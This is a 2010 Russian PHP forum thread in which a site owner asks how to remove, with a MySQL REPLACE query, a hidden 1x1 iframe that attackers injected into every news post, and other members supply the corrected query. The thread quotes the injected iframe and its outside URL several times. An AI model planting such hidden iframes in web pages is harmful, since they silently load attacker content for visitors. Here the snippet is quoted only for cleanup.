Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Синтаксис оператора REPLACE?

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Без описания
sapravka
Отправлено: 17 Декабря, 2010 - 23:39:33
Post Id


Новичок


Покинул форум
Сообщений всего: 5
Дата рег-ции: Июль 2010  


Помог: 0 раз(а)




Доброй ночи!
Немного предыстории: имеется сайт, на DLE 8.3, который сломали редиски, и в результате в каждой полной новости они добавили вот такой код:

CODE (html):
скопировать код в буфер обмена
  1. [center]<iframe src="http://tyt-vse.ucoz.ru/index/0-2" width="1" height="1"></iframe>[/center]


Как они это сделали, это уже отдельный вопрос, я собственно сменил на все пароли и теперь осталось решить последнюю задачу:

Как с помощью MySQL убрать данный код из моей базы данных?

Пролистав документацию по MySQL, я нашел хорошую команду REPLACE:

http://php.su/mysql/manual/?page=REPLACE

с помощью которой я и попытался убрать левый код, для этого я определил, что левый код расположен в таблице dle_post, а имя поля full_story. Собрав эту инормацию я попытался сделать запрос к базе данных:
Цитата:
UPDATE dle_post SET full_story = REPLACE(full_story, ‘<div align="center"><iframe src="http://tyt-vse.ucoz.ru/index/0-2" width="1" height="1"></iframe></div>’, ‘ ’)


На что мне выдало ошибку:
Цитата:
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'div align="center"><iframe src="http://tyt-vse.ucoz.ru/index/0-2" width="1" heig' at line 1


В связи с чем, убедительно прошу помогите мне решить данную проблему, так как я в MySQL новичок...
 
 Top
Uchkuma
Отправлено: 18 Декабря, 2010 - 00:08:31
Post Id



Участник


Покинул форум
Сообщений всего: 1539
Дата рег-ции: Март 2010  
Откуда: Киров


Помог: 6 раз(а)




Может быть mysql_real_escape_string?
 
 Top
sapravka
Отправлено: 18 Декабря, 2010 - 00:37:35
Post Id


Новичок


Покинул форум
Сообщений всего: 5
Дата рег-ции: Июль 2010  


Помог: 0 раз(а)




Uchkuma пишет:
Может быть mysql_real_escape_string?


А пример моего запроса можете составить, а то я в MySQL новичок!
 
 Top
evgenijj
Отправлено: 18 Декабря, 2010 - 01:11:48
Post Id



Участник


Покинул форум
Сообщений всего: 1212
Дата рег-ции: Авг. 2006  
Откуда: Москва


Помог: 10 раз(а)




Цитата:
А пример моего запроса можете составить, а то я в MySQL новичок!

Должно работать, у меня этот запрос отработал как часы
CODE (SQL):
скопировать код в буфер обмена
  1. UPDATE products SET description = REPLACE(description, '<div align="center"><iframe src="http://tyt-vse.ucoz.ru/index/0-2" width="1" height="1"></iframe></div>', '');

(Отредактировано автором: 18 Декабря, 2010 - 01:12:51)

 
 Top
Champion Супермодератор
Отправлено: 18 Декабря, 2010 - 10:56:52
Post Id



Активный участник


Покинул форум
Сообщений всего: 4350
Дата рег-ции: Авг. 2008  
Откуда: Москва


Помог: 57 раз(а)




sapravka пишет:
REPLACE(full_story,<div alig
Нахмурился
(Добавление)
Прочувствуйте разницу между этой кавычкой и кавычкой Евгения.
 
 Top
sapravka
Отправлено: 20 Декабря, 2010 - 00:06:03
Post Id


Новичок


Покинул форум
Сообщений всего: 5
Дата рег-ции: Июль 2010  


Помог: 0 раз(а)




Совсем забыл сказать спасибо!
Это запрос мне помог:

Цитата:
UPDATE dle_post SET full_story = REPLACE(full_story, '<div align="center"><iframe src="http://tyt-vse.ucoz.ru/index/0-2" width="1" height="1"></iframe></div>', '');


Ещё раз, большое спасибо за помощь!!!
 
 Top
OrmaJever
Отправлено: 20 Декабря, 2010 - 01:09:20
Post Id



Активный участник


Покинул форум
Сообщений всего: 7540
Дата рег-ции: Янв. 2010  
Откуда: Чернигов


Помог: 299 раз(а)




sapravka пишет:
имеется сайт, на DLE 8.3, который сломали редиски

sapravka пишет:
а то я в MySQL новичок!


люблю таких людей Закатив глазки


-----
Если вы хотя бы 3-4 раза не решите всё выкинуть и начать заново - вы явно что-то делаете не так.
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« SQL и Архитектура БД »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB